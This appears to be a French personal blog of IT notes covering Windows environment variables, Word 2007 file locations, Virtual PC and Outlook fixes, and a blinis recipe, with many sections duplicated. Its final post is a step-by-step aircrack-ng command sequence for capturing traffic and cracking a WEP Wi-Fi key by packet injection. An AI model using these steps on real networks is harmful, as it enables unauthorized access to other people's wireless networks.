%ALLUSERSPROFILE%[modifier]
Indique le répertoire du profil commun à tous les utilisateurs.
Exemple de valeurs :
‘’C:\Documents and settings\All Users’’
Attention : Ne pas confondre avec le profil par défaut
‘’C:\Documents and settings\Default User’’
%APPDATA%[modifier]
Exemple de valeurs :
‘’C:\Documents and settings\Dupont\Application Data’'
Il contient les données d’application de l’utilisateur connecté.
%HOMEPATH%[modifier]
Exemple de valeur
‘’C:\Documents and settings\Dupont’’
%USERNAME%[modifier]
%USERNAME% contient le nom de l’utilisateur connecté (exemple : Dupont).
%USERPROFILE%[modifier]
%USERPROFILE% indique le chemin du répertoire contenant la ruche HKEY_CURRENT_USER de l’utilisateur connecté (fichiers NTUSER.DAT et NTUSER.INI).
%CD%[modifier]
La variable %CD% n'est pas affichée par la commande set, elle donne le chemin du répertoire courant.
%COMPUTERNAME%[modifier]
Contient le nom de l’ordinateur.
%ComSpec%[modifier]
Voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
%DATE% et %TIME%[modifier]
Les variables %DATE% et %TIME% ne sont pas affichées par la commande set. Elles donnent la date et l'heure.
%ERRORLEVEL%[modifier]
La variable %ERRORLEVEL% n'est pas affichée par la commande set, elle donne le code retour de la dernière commande exécutée. C'est l'équivalent de la variable $? d'Unix.
C'est une commande indispensable pour faire des shell sophistiqués sous Windows (fichiers d'extension .BAT).
Deux exemples de code
if errorlevel 2 goto no_such_file
IF ERRORLEVEL 2 SET CODE_ERREUR=2
Voir Syntaxe du errorlevel dans un batch.
%FP_NO_HOST_CHECK%[modifier]
Voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
%HOMEDRIVE%[modifier]
Valeur par défaut
C:
%LOGONSERVER% et %USERDOMAIN%[modifier]
Si l’utilisateur est connecté pour un domaine,
%LOGONSERVER% indique le nom du contrôleur de domaine utilisé pour l’authentification, précédé de ‘’\\’’. Exemple :
‘’\\ctrl_dom’’
%USERDOMAIN% indique le nom du domaine
Si l’utilisateur est connecté pour un groupe de travail (workgroup),
%LOGONSERVER% et indique la même chose que %COMPUTERNAME%, précédé de ‘’\\’’. Exemple :
\\PCDupont
%USERDOMAIN% indique la même chose que %COMPUTERNAME%
%NUMBER_OF_PROCESSORS%[modifier]
Voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
%OS%[modifier]
Voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
%PATHEXT%[modifier]
Voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
Variable d’environnement dont le nom commence par PROCESSOR_*[modifier]
Pour %PROCESSOR_ARCHITECTURE%, %PROCESSOR_IDENTIFIER%, %PROCESSOR_LEVEL%, %PROCESSOR_REVISION%, voir variables d’environnement positionnées par le gestionnaire de session (smss.exe).
%ProgramFiles%[modifier]
Cette variable d’environnement indique le chemin du répertoire des programmes installés de Windows (voir Program Files).
Sa valeur par défaut est :
‘’C:\Program Files’’
La valeur de cette variable est paramétrée, dans la base de registre, par la variable ProgramFilesDir dans la clé HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.
%programfiles(x86)%[modifier]
Cette variable d’environnement indique le chemin du répertoire des programmes x86 installés de Windows 64 bits(voir Program Files).
Sa valeur par défaut est :
‘’C:\Program Files(x86)’’
%PROMPT%[modifier]
Cette variable d'environnement permet de personnaliser l'invite affiché avant la saisie d'une commande.
Sa valeur par défaut est
$P$G
Elle peut contenir du texte à afficher combiné à des valeurs spéciales dont le code commence par le signe dollar "$".
Code Description
$P Chemin courant (Path)
$N Lecteur courant seulement
$G Caractère supérieur ">" (Greater)
$L Caractère inférieur "<" (Less)
$D Date actuelle (Date)
$T Heure actuelle (Time)
Pour plus d'information, taper « help prompt ».
%RANDOM%[modifier]
La variable %RANDOM% n'est pas affichée par la commande set, elle génère un nombre pseudo-aléatoire compris entre 0 et la 15e puissance de 2 (32768).
%SystemDrive%[modifier]
Valeur par défaut
‘’C:’’
%SystemRoot%[modifier]
Cette variable d'environnement indique l'emplacement des fichiers systèmes.
Elle est paramétrée par la base de registre : valeur SystemRoot dans la clé HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion.
Valeurs par défaut[modifier]
La valeur par défaut est :
C:\Windows sous Windows Vista, 2008 et 7
C:\WINDOWS sous Windows XP et 2003.
C:\WINNT. Pour les versions précédentes de Windows NT (de Windows NT 3.5 à Windows Server 2000).
Variables d'environnement basées sur %SystemRoot%[modifier]
À partir de %SystemRoot%, d'autres variables d'environnement peuvent être positionnées. Pour PATH%, %COMSPEC%, %TEMP%, %TMP%, %WINDIR%, voir Les variables d'environnement créées par le gestionnaire de session.
Les 2 répertoires de fichiers temporaires[modifier]
%TMP% et %TEMP% Un dossier de fichiers temporaire se trouve aussi le répertoire suivant. (XP)
C:\Documents and Settings\nom_de_la_session\Local Settings\Temp
%WinDir%
vendredi 16 décembre 2011
jeudi 15 décembre 2011
Gerer Exchange dans l'AD sur poste Client Seven 64B
Installer l'adminpak pour windows 7 64bits
Installer le ESMVISTA.EXE avec l'argument -qb
reprendre le raccourci dans démarrer/programme /microsoft exchange/AD, et ajouter l'argument /32
C'est tout
Installer le ESMVISTA.EXE avec l'argument -qb
reprendre le raccourci dans démarrer/programme /microsoft exchange/AD, et ajouter l'argument /32
C'est tout
office dictionnaire
The Normal.dotm template is stored here:
In Windows XP: C:\Documents and Settings\\Application Data\Microsoft\Templates
In Windows Vista and Windows 7: C:\Users\\AppData\Roaming\Microsoft\Templates
The unformattted AutoCorrect (*.acl) files are stored here:
In Windows XP: C:\Documents and Settings\\Application Data\Microsoft\Office
In Windows Vista and Windows 7: C:\Users\\AppData\Roaming\Microsoft\Office
In Windows XP: C:\Documents and Settings\
In Windows Vista and Windows 7: C:\Users\
The unformattted AutoCorrect (*.acl) files are stored here:
In Windows XP: C:\Documents and Settings\
In Windows Vista and Windows 7: C:\Users\
office fichiers importants
Home
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Where important Word 2007 files are stored
November 9, 2009 at 5:47 pm 1 comment
Note: This post first appeared—in a slightly different form—in my book, Formatting Legal Documents With Microsoft Office Word 2007. I’ve updated it as of 8/27/2011 and 8/28/2011.
It can be helpful to know where key Word 2007 files—such as the NORMAL template and the template where Building Blocks / QuickParts (formerly called AutoText)—are stored in the computer. Because some of these files contain your customizations, you might want to create backup copies from time to time (and perhaps save them to a CD, a USB drive, an external hard drive, or a different computer). That way, if something happens to your computer and one of the files is damaged or is inaccessible, you don’t have to re-create all of your customizations from scratch.
What follows is a list of some of the most important files and their typical locations. Do keep in mind that this list isn’t necessarily exhaustive. Also, it applies specifically to Word 2007. Although much of the information is similar to that for Word 2010, there are a few differences. (For instance, in Word 2010 the generic Building Blocks template is called Built-In Building Blocks.dotx and is stored in C:\Program Files\Microsoft Office\Office14\Document Parts\1033\14 — in all three recent versions of Windows — and the user-specific copy, BuildingBlocks.dotx, is stored in C:\Documents and Settings\\Application Data\Microsoft\Document Building Blocks\1033\14 [note the "14" at the end of the path] in Windows XP and in C:\Users\\AppData\Roaming\Microsoft\Document Building Blocks\1033\14 in Vista and Windows 7. In addition, whereas several key Word 2007 files are stored in an “Office12″ folder, their Word 2010 counterparts are stored in an “Office14″ folder.[1])
NORMAL Template (Normal.dotm)
The NORMAL template (normal.dotm) is the basis for all new documents in Word. Each user has one. Many customizations are stored in the user’s NORMAL template, including his or her default Normal Paragraph style, other styles he or she has created or modified, formatted AutoCorrect entries (unformatted AutoCorrect entries are stored elsewhere — see below), and macros (but not the user’s personalized Quick Access Toolbar or Quick Parts / Building Blocks, which are located in separate files).
Ordinarily you will find the NORMAL template in the following locations:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates
Custom Templates
Each user’s customized templates typically are stored in the same place as the NORMAL template:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates
Building Blocks
The building blocks template is called BuildingBlocks.dotx. Word 2007 comes with two instances of the Building Blocks.dotx template. One is an original that should never be edited directly; the other is a working copy that contains your own custom Quick Parts / Building Blocks.
The original (generic) template is located here in both Windows XP and Vista:
C:\Program Files\Microsoft Office\Office12\Document Parts\1033
The user-specific copy is located here in Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Document Building Blocks\1033
The user copy is located here in Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Document Building Blocks\1033
If something happens and the user-customized file becomes corrupted, Word creates a new customizable file based on the original template. (You likely will lose your Quick Parts if that happens, which is why it makes sense to make a copy of the customized file every so often.)
Unformatted AutoCorrect Entries
Unformattted AutoCorrect entries are stored in *.acl (AutoCorrect List) files, located here:
In Windows XP:
C:\Documents and Settings\\Application Data\Microsoft\Office
In Windows Vista and Windows 7:
C:\Users\\AppData\Roaming\Microsoft\Office
List Styles Gallery
The ListGal.dat file contains the user’s customized gallery of numbered lists (i.e., it includes the lists that came with the program as well as any list styles you’ve created).
In Windows XP:
C:Documents and Settings\[User Name]\Application Data\Microsoft \Word
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Word
Heading Styles
Heading styles ordinarily are stored either in the NORMAL template (normal.dotm) or in the document in which they were created, although you can copy styles to (or create them in) your own custom templates. In fact, most built-in styles typically are saved in normal.dotm.
Note that whenever you create a new style or modify a built-in style, the default setting in the Modify Style dialog is to store the style in the current document. (WordPerfect works the same way). The only other choice available in the dialog box is to save to the NORMAL template, but you can use the Organizer to copy styles to other templates. (And you can copy styles between documents; see page 118 above.)
Quick Styles / Style Sets
Quick Styles and Style Sets are located in the following places:
In Windows XP:
The built-in QuickStyles and Style Sets are found here:
C:\Program Files\Microsoft Office\Office12\1033\QuickStyles
User-customized QuickStyles and Style Sets are located here:
C:Documents and Settings\[User Name]\Application Data\Microsoft\QuickStyles
In Windows Vista and Windows 7:
C:\ Users\[User Name]\AppData\Roaming\Microsoft\Quickstyles
Themes
Theme files have the extension .thmx.
Built-in themes are located here in both Windows XP and Windows Vista:
C:\Program Files\Microsoft Office\Document Themes 12
Custom themes (i.e., themes that you create) are located here in Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates\ Document Themes
Custom themes are located here in Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates\Document Themes
AutoRecover Files
Files that Word automatically recovers in the event of a “crash” or other serious problem have the extension .asd. Normally you don’t have to look for them because Word opens them in a separate pane at the left side of the screen after a power outage or similar event. But in the event you might need to locate them, you can find them here:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Word
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Word
QAT (Quick Access Toolbar)
The QAT file, called Word.qat, is stored in the following locations:
In Windows XP:
C:\Documents and Settings\[User Name]\Local Settings\Application Data\Microsoft\ OFFICE\Word.qat
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Local\Microsoft\Office\Word.qat
Note that you can create a customized QAT for a particular document. The settings for a document-specific QAT are stored in that document.
About
Books
Classes & Training
Polls
Where important Word 2007 files are stored
November 9, 2009 at 5:47 pm 1 comment
Note: This post first appeared—in a slightly different form—in my book, Formatting Legal Documents With Microsoft Office Word 2007. I’ve updated it as of 8/27/2011 and 8/28/2011.
It can be helpful to know where key Word 2007 files—such as the NORMAL template and the template where Building Blocks / QuickParts (formerly called AutoText)—are stored in the computer. Because some of these files contain your customizations, you might want to create backup copies from time to time (and perhaps save them to a CD, a USB drive, an external hard drive, or a different computer). That way, if something happens to your computer and one of the files is damaged or is inaccessible, you don’t have to re-create all of your customizations from scratch.
What follows is a list of some of the most important files and their typical locations. Do keep in mind that this list isn’t necessarily exhaustive. Also, it applies specifically to Word 2007. Although much of the information is similar to that for Word 2010, there are a few differences. (For instance, in Word 2010 the generic Building Blocks template is called Built-In Building Blocks.dotx and is stored in C:\Program Files\Microsoft Office\Office14\Document Parts\1033\14 — in all three recent versions of Windows — and the user-specific copy, BuildingBlocks.dotx, is stored in C:\Documents and Settings\
NORMAL Template (Normal.dotm)
The NORMAL template (normal.dotm) is the basis for all new documents in Word. Each user has one. Many customizations are stored in the user’s NORMAL template, including his or her default Normal Paragraph style, other styles he or she has created or modified, formatted AutoCorrect entries (unformatted AutoCorrect entries are stored elsewhere — see below), and macros (but not the user’s personalized Quick Access Toolbar or Quick Parts / Building Blocks, which are located in separate files).
Ordinarily you will find the NORMAL template in the following locations:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates
Custom Templates
Each user’s customized templates typically are stored in the same place as the NORMAL template:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates
Building Blocks
The building blocks template is called BuildingBlocks.dotx. Word 2007 comes with two instances of the Building Blocks.dotx template. One is an original that should never be edited directly; the other is a working copy that contains your own custom Quick Parts / Building Blocks.
The original (generic) template is located here in both Windows XP and Vista:
C:\Program Files\Microsoft Office\Office12\Document Parts\1033
The user-specific copy is located here in Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Document Building Blocks\1033
The user copy is located here in Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Document Building Blocks\1033
If something happens and the user-customized file becomes corrupted, Word creates a new customizable file based on the original template. (You likely will lose your Quick Parts if that happens, which is why it makes sense to make a copy of the customized file every so often.)
Unformatted AutoCorrect Entries
Unformattted AutoCorrect entries are stored in *.acl (AutoCorrect List) files, located here:
In Windows XP:
C:\Documents and Settings\
In Windows Vista and Windows 7:
C:\Users\
List Styles Gallery
The ListGal.dat file contains the user’s customized gallery of numbered lists (i.e., it includes the lists that came with the program as well as any list styles you’ve created).
In Windows XP:
C:Documents and Settings\[User Name]\Application Data\Microsoft \Word
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Word
Heading Styles
Heading styles ordinarily are stored either in the NORMAL template (normal.dotm) or in the document in which they were created, although you can copy styles to (or create them in) your own custom templates. In fact, most built-in styles typically are saved in normal.dotm.
Note that whenever you create a new style or modify a built-in style, the default setting in the Modify Style dialog is to store the style in the current document. (WordPerfect works the same way). The only other choice available in the dialog box is to save to the NORMAL template, but you can use the Organizer to copy styles to other templates. (And you can copy styles between documents; see page 118 above.)
Quick Styles / Style Sets
Quick Styles and Style Sets are located in the following places:
In Windows XP:
The built-in QuickStyles and Style Sets are found here:
C:\Program Files\Microsoft Office\Office12\1033\QuickStyles
User-customized QuickStyles and Style Sets are located here:
C:Documents and Settings\[User Name]\Application Data\Microsoft\QuickStyles
In Windows Vista and Windows 7:
C:\ Users\[User Name]\AppData\Roaming\Microsoft\Quickstyles
Themes
Theme files have the extension .thmx.
Built-in themes are located here in both Windows XP and Windows Vista:
C:\Program Files\Microsoft Office\Document Themes 12
Custom themes (i.e., themes that you create) are located here in Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Templates\ Document Themes
Custom themes are located here in Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Templates\Document Themes
AutoRecover Files
Files that Word automatically recovers in the event of a “crash” or other serious problem have the extension .asd. Normally you don’t have to look for them because Word opens them in a separate pane at the left side of the screen after a power outage or similar event. But in the event you might need to locate them, you can find them here:
In Windows XP:
C:\Documents and Settings\[User Name]\Application Data\Microsoft\Word
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Roaming\Microsoft\Word
QAT (Quick Access Toolbar)
The QAT file, called Word.qat, is stored in the following locations:
In Windows XP:
C:\Documents and Settings\[User Name]\Local Settings\Application Data\Microsoft\ OFFICE\Word.qat
In Windows Vista and Windows 7:
C:\Users\[User Name]\AppData\Local\Microsoft\Office\Word.qat
Note that you can create a customized QAT for a particular document. The settings for a document-specific QAT are stored in that document.
mardi 13 décembre 2011
Virtual PC fenetre absente
If this happens to you - there are three possible solutions:
Exit Virtual PC and delete %appdata%\Microsoft\Virtual PC\Options.xml. You will lose any global configuration settings - but you will get the console back on the next launch.
Follow these directions to edit Options.xml, and change the values for the left_position and top_position fields to something smaller.
Immediately after opening Virtual PC (and before clicking on anything) press ALT, Left Arrow, Down Arrow, m, Left Arrow – and then move your mouse. The console should snap back onto the screen.
Cheers,
Ben
ou
There are several ways to resolve this issue. Among them:
Browse to %appdata%\Microsoft\Virtual PC\
Backup the "Options.xml" file and load the original in a text-editing application
Under the "console" section, remove the entries for "left_position" and "top_position"
After saving the changes, load Virtual PC
Exit Virtual PC and delete %appdata%\Microsoft\Virtual PC\Options.xml. You will lose any global configuration settings - but you will get the console back on the next launch.
Follow these directions to edit Options.xml, and change the values for the left_position and top_position fields to something smaller.
Immediately after opening Virtual PC (and before clicking on anything) press ALT, Left Arrow, Down Arrow, m, Left Arrow – and then move your mouse. The console should snap back onto the screen.
Cheers,
Ben
ou
There are several ways to resolve this issue. Among them:
Browse to %appdata%\Microsoft\Virtual PC\
Backup the "Options.xml" file and load the original in a text-editing application
Under the "console" section, remove the entries for "left_position" and "top_position"
After saving the changes, load Virtual PC
Windows 7
Windows 2K/XP/2003
c:\documents and settings\%username%\application data
Vista and Windows 7
c:\users\%username%\appdata\roaming.
SEVEN: C:\Users\
SEVEN:C:\Windows
Microsoft office 2003 erreur MAPI
si vous avez ce message :
Version incorrecte de la bibliothèque mapi32.dll
Pour exécuter le programme et résoudre ce problème, dans C:\winnt\system32 ou C:\windows\system32, double-cliquez sur Fixmapi.exe
ou à la main:
1. Démarrez l'Explorateur Windows.
2. Recherchez et ouvrez le dossier suivant sur votre ordinateur :
C:\Program Files\Common Files\System\Msmapi\1033
3. Cliquez avec le bouton droit sur le fichier MSMapi32.dll, puis cliquez sur Renommer.
4. Tapez Msmapi32.old, puis appuyez sur Entrée pour renommer le fichier.
5. Redémarrez Outlook 2003.
Version incorrecte de la bibliothèque mapi32.dll
Pour exécuter le programme et résoudre ce problème, dans C:\winnt\system32 ou C:\windows\system32, double-cliquez sur Fixmapi.exe
ou à la main:
1. Démarrez l'Explorateur Windows.
2. Recherchez et ouvrez le dossier suivant sur votre ordinateur :
C:\Program Files\Common Files\System\Msmapi\1033
3. Cliquez avec le bouton droit sur le fichier MSMapi32.dll, puis cliquez sur Renommer.
4. Tapez Msmapi32.old, puis appuyez sur Entrée pour renommer le fichier.
5. Redémarrez Outlook 2003.
vendredi 9 décembre 2011
recette blinis
Préparation : 5 min
Cuisson : 20 min
Ingrédients :
- 1 yaourt bulgare
- 1 œuf
- 1 pot à yaourt de farine
- 1/2 sachet de levure chimique
- 1 pincée de sel
Préparation :
Mélange tous les ingrédients ensemble, puis laisse reposer la pâte pendant 1 heure au réfrigérateur.
Avec l’aide d’un adulte, fais cuire dans un poêle à blinis ou sur une poêle antiadhésive. Lorsqu'ils font des trous, les retourner.
Sers de suite ou réchauffe-les avant de passer à table.
Cuisson : 20 min
Ingrédients :
- 1 yaourt bulgare
- 1 œuf
- 1 pot à yaourt de farine
- 1/2 sachet de levure chimique
- 1 pincée de sel
Préparation :
Mélange tous les ingrédients ensemble, puis laisse reposer la pâte pendant 1 heure au réfrigérateur.
Avec l’aide d’un adulte, fais cuire dans un poêle à blinis ou sur une poêle antiadhésive. Lorsqu'ils font des trous, les retourner.
Sers de suite ou réchauffe-les avant de passer à table.
Backtrack
-Nouveau Shell
taper:
airmon-ng
recuperer le nom de l'interface
taper:
airmon-ng start [nom interface]
recuperer le monitor mode
-Nouveau Shell
taper:
airodump-ng - -encrypt wep [monitormode]
recuperer le BSSID, le CH (channel), le ESSID, la station
-Nouveau Shell
taper:
airodump-ng - -write testwifi001 - -channel [numerochannel] - -bssid [BSSID] [monitormode]
-Nouveau Shell
taper:
aireplay-ng -3 -e [ESSID] -b [BSSID] -h [station] [monitormode]
-Nouveau Shell
taper:
aircrack-ng -z *.cap
taper le numero de l'interface souhaité
--FIN--
taper:
airmon-ng
recuperer le nom de l'interface
taper:
airmon-ng start [nom interface]
recuperer le monitor mode
-Nouveau Shell
taper:
airodump-ng - -encrypt wep [monitormode]
recuperer le BSSID, le CH (channel), le ESSID, la station
-Nouveau Shell
taper:
airodump-ng - -write testwifi001 - -channel [numerochannel] - -bssid [BSSID] [monitormode]
-Nouveau Shell
taper:
aireplay-ng -3 -e [ESSID] -b [BSSID] -h [station] [monitormode]
-Nouveau Shell
taper:
aircrack-ng -z *.cap
taper le numero de l'interface souhaité
--FIN--
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